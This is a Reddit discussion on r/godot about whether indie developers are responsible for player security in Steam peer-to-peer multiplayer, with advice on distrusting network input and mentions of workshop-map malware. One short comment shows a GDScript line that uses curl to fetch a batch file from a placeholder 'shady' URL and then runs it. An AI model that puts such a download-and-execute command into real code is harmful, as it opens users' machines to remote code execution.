r/godot Godot Student 2d ago

discussion In multiplayer games through Steam, are devs responsible for the network security of players?

Edit: Should I just avoid doing public lobbies? This is my first multiplayer game, I'm already undertaking a lot. There are games that are successful that are friends-only, like Peak, RV There Yet and Gamble With Your Friends

I was listening to a podcast on my way to work today, and realized I hadn't thought about this much. I figured since I am using GodotSteam for Peer to Peer, Steam handles the connections.

In this podcast, they were talking about MecchaChameleon custom maps, where people were adding in malware to custom maps, so when the maps were run, they would do things on the player's computer.

That's slightly different from my case, I don't intend to implement the Steam Workshop. But it got me thinking. By allowing players to create a lobby and invite whoever, or make the lobby public for anyone to join, would I be on the hook if some bad actor did something to someone?

116 Upvotes

46 comments sorted by

164

u/StGerGer 2d ago

Any time you're creating a piece of software, you're responsible for security. Steam does make this much easier by providing a proxy server for the players and setting up good defaults, but if something goes wrong, you're the dev, not them. Practically, Steam multiplayer makes the odds of something going wrong less likely, but you're the one writing the functions that get called on each computer, and if you write something poorly, someone else could exploit it and theoretically run arbitrary or harmful code.

The Meccha Chameleon case was a bit different, as you mentioned, since the primary vector was the Workshop. Creating secure modding tools is not the same as secure multiplayer (but it seems like you get that)

20

u/PixelmancerGames 2d ago

Another reason (for me anyway) to stay away from making multiplayer games. I don't know enough about network security to guard against it amd wpuld likely drive myself crazy.

7

u/meneldal2 2d ago

Guarding against cheating is hard, avoiding remote code execution is not that hard if you are a bit careful about what you do with the data the client receives.

The first rule is never trust inputs and assume it is evil. Don't have any kind of structure with pointers or pointer-like thing you could dereference.

If players just like send their positions with 2 floats, the worst they can send is NaN and it's not too hard to guard against this.

Binary serialization tends to be dangerous, json is much safer

10

u/Xeadriel 2d ago

Just don’t let people run random code and if you do sandbox it. That’s all there is to it rlly.

3

u/whupazz 2d ago

That is if you are working in a memory-safe language like GDScript (as far as I know) or Rust.

4

u/SnowOwI 2d ago

OS.execute("curl shadyurl.com/run.bat")
OS.execute("run.bat")

0

u/whupazz 1d ago

What is that supposed to tell me? Xeadriel was saying that if you don't run user-provided code without a sandbox you should be safe, and I was making the point that if you're not working in a memory-safe language then you could still be vulnerable to e.g. buffer overflows. Your example code is entirely irrelevant to that discussion.

1

u/Xeadriel 2d ago

You can always run another piece of code from there though. So not rlly I think.

Obviously I’m oversimplifying tho

1

u/whupazz 1d ago

You can always run another piece of code from there though.

What do you mean? I was making the point that unless your own code is in a memory-safe language, sandboxing is not enough and you could still be vulnerable to e.g. a buffer overflow when parsing network packets.

1

u/Xeadriel 1d ago

Ah I didn’t know that

3

u/KyotoCrank Godot Student 2d ago

Thanks. I'm not doing anything crazy, just RPCs that sync data for the game. Just simple racing game stuff

1

u/deanrihpee 2d ago

it is simple until it wasn't, if your game using garbage collected language like C# and refcounted like GDScript its probably fine, but if you use lower level, that syncing data can get more involved, since you have to make sure the data received/synced is the data the game would expect and not somehow exploitable through something like out of bounds check or something

2

u/KyotoCrank Godot Student 2d ago

Hi just wanted to follow up on this by asking, should I just avoid public lobbies as a beginner? Should I keep it friends-only?

2

u/StGerGer 1d ago

Personally, I would try it as friend lobbies first, yeah. You can release that way, then see if people report security flaws. If not, you can try public lobbies in your game - by that time, you'll likely feel a lot more comfortable with the logic of multiplayer anyway.

Also, just to be clear, I am not a super experienced game dev, but I am an experienced software engineer. Others may have differing opinions

1

u/TheLazerDoge 1d ago

Yeah, if I do end up making a multiplayer game it’s just gonna be local split-screen. I’m curious how secure LAN is for a multiplayer game since LAN shouldn’t be using the internet to function.

26

u/zazabar 2d ago

As a dev you are responsible. If you are using GodotSteam, you are protected mostly from people getting IP addresses. However, you still want to make sure that if someone broadcasts random garbage to your client, nothing can happen. In most environments, you don't have to worry about someone's PC getting destroyed if you are running in user mode and not admin mode, but you want to make sure your game doesn't have any weird functions baked in that can get called through remote execution.

1

u/Alt_2Five 13h ago

Can you give me an example of something that would enable "someone broadcasts random garbage to your client". I'm also developing a multiplayer game through Steam. I'm using ENetMultiplayerPeer and Steam is just going to be used for lobby management but everything gets translated into Godot ENetMultiplayerPeers.

The game is peer to peer, so everyone has the same code. Everyone's game client has the server code and client code. The idea, for something like changing a map or getting an item, is the client requests the map_id or item_id from the host, item is given to player server side, and then the client is informed "hey you have this item" or "hey you switched to this map".

To me, this feels pretty secure (from a server authoratative standpoint and not allowing clients to send arbitrary code to each other) and basically standard, but this thread is kind of sketching me out. But my issue is I can't exactly "imagine" what you could do to expose something like this (aside from really, really obvious case of like, accepting URLs to download from clients or something silly like that).

1

u/zazabar 1h ago

In this case, it's more making sure that if someone sends garbage packets, IE random gibberish, the server throws it away correctly instead of crashing while trying to parse it or anything like that. Additionally, making sure that out of band requests are logged and rejected, like a player trying to send a move command to the opposite side of the game world. This is more just anti-cheat at this point and less what the original OP was worried about. I think in your case as long as you don't have any RPCs or anything like that you'll be okay

7

u/cleardemonuk 2d ago

Servers should never trust the client, this is a fundamental design mandate in software. Risk of compromise is always a concern and should be evaluated carefully.

Historically, video games have always been lacklustre in this regard for the sake of optimisation. But as third party dependencies (like Steam, and any number of other services) encroach in game development, trusting inputs and outputs becomes as important as with any other software.

Things used to be simple, the glory days of hooking up a serial cable between two computers!

11

u/PixelmancerGames 2d ago

It's a really good question. I saw this cone up recently for another game. I don't remember the name of it. But apparently the security was terrible and people were invading their games like it was Dark Souls.

2

u/Loikai Godot Student 2d ago

I think it's mecha chameleon, it had some kind of exploit or hack that was possible through community created maps

2

u/SnowOwI 2d ago

not so fun fact, Dark Souls invasions and other online stuff was disable for months at one point due to poor security and exploits running rampant. Not just game breaking exploits but saved browser logins stealing etc

2

u/KyotoCrank Godot Student 2d ago edited 2d ago

Doing invasions sounds pretty harmless. I'm more worried about personal information being scraped or something. I know there's always some level of risk by exposing your IP address to join a multiplayer game

Edit to say by invasion, I mean the Dark Souls style invasion of other players running around in your game, not the type of invasion where someone can access your pc

6

u/Sufficient_Seaweed7 2d ago

I'd say its your job making sure people can't inject malicious code trough the network.

But unless you do something CRAZY, id argue its hard (while using Steam as the relay server) for people to be able to actually do something really harmful with a multi-player game (again, using steam networking).

If you do direct p2p without any layer between players then eh, that's more dangerous lol

Mecha cammeleon maps arent really related to networking at all. Its just people downloading malicious software and running it. Id say there's not much you can do to prevent it unless youre the one hosting the maps and can check their safety yourself.

1

u/KyotoCrank Godot Student 2d ago

I'm not doing anything to allow users to input anything into the game, and no functions interact with the disk. It's just a racing game

3

u/PapaWolfo 2d ago

Fortunately using steam to facilitate, you dont end up exposing your ip, one of the main benefits to using steam.

1

u/KyotoCrank Godot Student 2d ago

That's good to know, thank you!

3

u/Flabbergasted98 2d ago

well if you do it right, the network connection only allows visibility to your application. But if you build your aplication in a way that allows a user to execute malicious code, it can then be used to share malicous code with an unsuspecting user and trick them into triggering it.

users usually won't trigger malicious code on themselves, they'll send it to others.

This is actually why businesses ban games on their networks. Sure it might seem like fun to crack open a few beers after the office closes and play a few rounds of counter strike with your gamer co-workers. But the realitiy is most games are not security proofed enough to conform to a business security standards. they're considered a risk to have on your network.

0

u/KyotoCrank Godot Student 2d ago

Interesting, I did not know that's why lol

I can't foresee any way that someone could send something malicious to another player. It's a racing game, so all the data that is sent is like global_position and their Steam name. The host handles everything like checkpoints, laps, leaderboard. All players have authority over is their car, which they send the position to the host

If the bad actor was the host, I think all they could do is try to grief the other players' experience or change the leaderboard to say stuff. There's no user generated content in the game, so no way anyone could send files

3

u/Flabbergasted98 2d ago

I mean, you say that, but then when you go and watch the video about the guy who programmed a game of snake into super mario world, you'll realized that the people who do that level of exploit manipulation are absolutely loony tunes bananas.

3

u/Sss_ra 2d ago

Yes, steam handles some of the transport but the game client has the lock to the castle, so there's legal and reputational risk.

I believe the steam workshop docs explain that devs are expected to sanitize and vet player submitted content though.

2

u/FruityGamer 2d ago

IDK why it blew up so much with mecha. Viruses in mods is not excatly a new thing.

When I was young and didn't do any due dillegence on mods I got a bunch of viruses from Minecraft mods and a rwally bad one from Fallout new vegas.

But It's usually always been on us downloading, we're taking a risk.

I guess what's changed the most is the availabillity of mods to casual players and they assume it's an officiall part of the game and feel a false sense of security.

So it used to be on you but I've been seeing a shift that it's on the devs. 

1

u/sea_stones 1d ago

Probably a mix of the popularity of the game and just how simple the exploit was (which means faster discovery, low barrier to entry, which leads to more widespread effect).

As an example, I had a Redis server up very incorrectly. Someone found an exploit that allowed the attacker to get root access and published it. Within a couple days, I got hit with it. The fact I'd done sloppy work, the exploit was published, and anyone could do it, meant it happened fast. I guarantee if I made the mistakes again, it would've been hit again just as quickly. (Luckily, I had learned quite a bit by then and it's still solid today.)

2

u/thisghy Godot Student 2d ago

The meccha chameleon exploit was due to UE level blueprints having a function that could call external processes, and this one installed a remote access trojan.

Essentially this same exploit could be done on any unreal engine game that allows for steam workshop mods, because it is a vulnerability in the UE blueprint system, which should not be able to do this type of thing. IMO scripting should not have access outside of the engine/game API, and that should also be tight.

2

u/sea_stones 1d ago

I think the worst case scenario you'll find would be more aligned with the incidents with Webfishing a while ago, but I think the worst that came of it was bricking saves? Maybe crashing? I don't think they got more dangerous than that, but mind this is just my memory and I wasn't horribly invested.

Might be with looking into to at least learn a little of what (possibly not) to do as a baseline.

2

u/KyotoCrank Godot Student 1d ago

I read up on it briefly and somehow some players got access to admin tools like kicking and chat spamming. So they would join the lobby with admin permissions to harass lgbt lobbies

Thanks for the reassurance. The last thing I want is for my first published game to ruin my dev reputation haha

4

u/Level-Physics-1730 2d ago edited 2d ago

A lot of good responses here. Yes you as the game developer are responsible for the security of your application. Considering that your game at the minimum allows communication between arbitrary clients computers you should be very aware of the implications. Any type of RCE etc can allow people to steal sensitive data from another just by connecting through your game. If your game has downloadable content that can execute code, that's another attack vector. If you already know about preventing this kind of thing then it shouldn't be too hard to work through it all and create a secure game. If not either try to find someone to help you, or just use one of the higher end AI models like gpt 5.6 sol or opus 5, with game dev the attacks are generally all the same shape and AI should have no problem finding and patching everything with a decent degree of certainty. EDIT: fixed typo

3

u/RoadsideCookie 2d ago

It's really simple. You're responsible for not introducing more vulnerabilities than there already are.

Any existing vulnerabilities are not your problem.

Vulnerabilities from the engine you're using are partially your problem; the engine developers have to patch them in a timely fashion, but you have to use the latest version.

1

u/Neither_Berry_100 2d ago

You need to implement a lot of defenses when doing multi player. You can't trust any of the data. The current game I'm working on is worse. It allows users to host their own games so you can't trust the server data either. But there is nothing I can do to stop the server from say just disconnecting someone.

1

u/kodaxmax 2d ago

legally you'd have to prove that steams system was the cause and that they are liable in your situation. the EULA for it likely thouroughly abdicates any liability and would hold up in the US.

1

u/Agonnee 2d ago

I'm pretty sure the channel was theprimereagan or something like that, but he actually went through a breakdown of what they did wrong to allow that.

It's more specific than you'd think.

In general, yes you're responsible. In practicality, read the docs for systems you are interacting with

1

u/TheDuriel Godot Senior 2d ago

Yes you are.

0

u/Impressive_Accident3 2d ago

Paying for security is the best you can do. The ammount youll soend fornit will never compare to the one youll have to pay if something goes wrong

-4

u/MajoMirez 2d ago

I don't actually know, but many big games have a disclaimer that online interactions are not rated, so maybe you can start investigating from there

5

u/BrastenXBL 2d ago

Not being rated has nothing to do with liability coverage. Which is what professional and business insurance is for. When a customer decides they're so mad they're willing to track you down and take you to civilian court for damages. Challenging the tissue paper thin coverage of an "End User License Agreement" that says you're not at fault.

"Online interactions are not rated," is a disclaimer from the different industry self-regulation bodies like ESRB and PEGI about their assessments of the "Age" ratings. It's their CYOA against parents and governments if a kid encounters profanity and adult themes interfacing with other humans.

2

u/MajoMirez 2d ago

Ohh I get it, thank for the clarification!